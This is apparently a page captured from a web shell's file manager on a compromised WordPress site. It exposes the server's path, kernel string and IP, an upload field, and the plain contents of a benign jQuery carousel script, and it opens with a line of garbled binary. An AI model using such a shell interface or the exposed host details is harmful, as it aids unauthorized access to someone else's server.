PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/trave494/mytube.pm/wp-content/themes/ultra/demo/carousel/js/
Server: Linux ngx353.inmotionhosting.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
IP: 209.182.202.254
Choose File :

Url:
Dir : //home/trave494/mytube.pm/wp-content/themes/ultra/demo/carousel/js/carousel.js

jQuery( function( $ ) {
	// The carousel widget.
	$( '.sow-carousel-wrapper' ).each( function() {

		var $$ = $( this ),
			title = $$.siblings( '.sow-carousel-title' );

		var position = 0, page = 1, fetching = false, complete = false;

		var updatePosition = function() {
			if ( position < 0 ) position = 0;
			if ( position >= $$.find( '.sow-carousel-item' ).length - 1 ) {
				position = $$.find( '.sow-carousel-item' ).length - 1;

				// Fetch the next batch..
				if ( ! fetching && ! complete && $$.data( 'ajax-url' ) !== null ) {
					fetching = true;
					page++;
					$$.find( '.sow-carousel-items' ).append( '<li class="sow-carousel-item sow-carousel-loading"></li>' );

					$.get(
						$$.data( 'ajax-url' ),
						{
							query : $$.data( 'query' ),
							action : 'sow_carousel_load',
							paged : page
						},
						function( data, status ) {
							var $items = $( data.html );
							var count = $items.find( '.sow-carousel-item' ).appendTo( $$.find( '.sow-carousel-items' ) ).hide().fadeIn().length;
							if ( count == 0 ) {
								complete = true;
								$$.find( '.sow-carousel-loading' ).fadeOut( function(){ $( this ).remove() } );
							}
							else {
								$$.find( '.sow-carousel-loading' ).remove();
							}
							fetching = false;
						}
					)
				}
			}
			var entry = $$.find( '.sow-carousel-item' ).eq( 0 );
			$$.find( '.sow-carousel-items' ).css( 'margin-left', -( ( entry.width() + parseInt( entry.css( 'margin-right' ) ) ) * position ) + 'px' );
		};

		title.find( 'a.sow-carousel-previous' ).click( function( e ) {
			e.preventDefault();
			position -= 1;
			updatePosition();
		} );

		title.find( 'a.sow-carousel-next' ).click( function( e ) {
			e.preventDefault();
			position += 1;
			updatePosition();
		} );
	} );
} );